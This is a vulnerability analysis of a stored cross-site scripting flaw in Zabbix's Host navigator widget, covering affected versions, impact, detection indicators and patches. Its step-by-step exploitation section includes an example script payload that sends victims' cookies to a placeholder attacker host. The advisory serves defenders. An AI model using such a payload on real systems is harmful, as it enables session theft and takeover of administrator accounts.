CVE-2026-23926: 
Zabbix Server vulnerability analysis and mitigation

CVE-2026-23926 is a stored cross-site scripting (XSS) vulnerability in Zabbix's Host navigator widget that allows an authenticated non-super administrator to inject arbitrary JavaScript into maintenance period definitions. The injected payload executes in the browser of any user who opens the tooltip for that maintenance period. Affected versions include Zabbix 7.0.0–7.0.23 and 7.4.0–7.4.7. The vulnerability was disclosed on May 6, 2026, and carries a CVSS v4.0 base score of 7.3 (High) (Zabbix Advisory, GitHub Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), specifically a stored XSS variant. An authenticated non-super administrator crafts a maintenance period containing a malicious JavaScript payload in a field that is not properly sanitized before being rendered in the Host navigator widget's tooltip. When any other user hovers over or opens the tooltip for that maintenance period, the payload executes in their browser context, potentially with their session privileges. Exploitation requires the attacker to have non-super administrator credentials and the victim to interact with the Host navigator widget (Zabbix Advisory, GitHub Advisory).

Successful exploitation allows the injected JavaScript to execute in the browser of any user — including super administrators — who views the affected maintenance period tooltip, enabling unauthorized actions on behalf of the victim. Depending on the victim's privilege level, an attacker could escalate privileges, exfiltrate session tokens or sensitive data, perform administrative actions, or pivot to further compromise the Zabbix environment. Confidentiality, integrity, and availability of the vulnerable system are all rated High under CVSS v4.0 (Zabbix Advisory, GitHub Advisory).

1. Gain non-super administrator access: Obtain credentials for a Zabbix non-super administrator account on a vulnerable instance (versions 7.0.0–7.0.23 or 7.4.0–7.4.7).
2. Create a malicious maintenance period: Navigate to the Zabbix frontend and create or edit a maintenance period, injecting a JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an equivalent XSS vector) into a field rendered unsanitized in the tooltip.
3. Associate the maintenance period with monitored hosts: Ensure the malicious maintenance period is linked to hosts visible in the Host navigator widget so it appears in the dashboard.
4. Wait for victim interaction: When a target user (e.g., a super administrator) opens the Zabbix dashboard and hovers over or clicks the tooltip for the affected maintenance period in the Host navigator widget, the payload executes in their browser.
5. Harvest results or perform actions: The executed script can steal session cookies, perform API calls with the victim's privileges, exfiltrate data, or perform administrative actions within Zabbix on behalf of the victim (Zabbix Advisory, GitHub Advisory).

• Logs: Zabbix audit logs showing a non-super administrator creating or modifying maintenance periods with unusual or encoded content in name/description fields; unexpected administrative actions performed by high-privilege accounts shortly after viewing the Host navigator widget.
• Network: Outbound HTTP/S requests from Zabbix frontend users' browsers to unknown external domains (potential cookie/session exfiltration endpoints) originating from Zabbix dashboard pages.
• Application: Maintenance period definitions in the Zabbix database containing HTML tags, JavaScript keywords (<script>, onerror, onmouseover, javascript:), or encoded variants (e.g., %3Cscript%3E) in name or description fields.
• User Behavior: Unexplained privilege escalation events or configuration changes in Zabbix attributed to high-privilege accounts that did not initiate those actions.

Zabbix has released patched versions 7.0.24 (fixing 7.0.0–7.0.23) and 7.4.8 (fixing 7.4.0–7.4.7); upgrading to these versions is the recommended remediation (Zabbix Advisory). As an immediate workaround, the Host navigator widget can be disabled via Administration → General → Modules to prevent the vulnerable tooltip from being rendered. Additionally, organizations should restrict non-super administrator privileges to create or modify maintenance periods where not operationally required, and monitor for suspicious maintenance period configurations containing embedded scripts.

The vulnerability was acknowledged by Zabbix and credited to researcher Daniel Santos (@bananabr) via the HackerOne bug bounty platform (Zabbix Advisory). It was included in threat landscape digests for Week 19 of 2026 by security intelligence aggregators, indicating moderate community awareness. No significant vendor statements beyond the official advisory or notable researcher commentary beyond the discoverer's credit have been identified.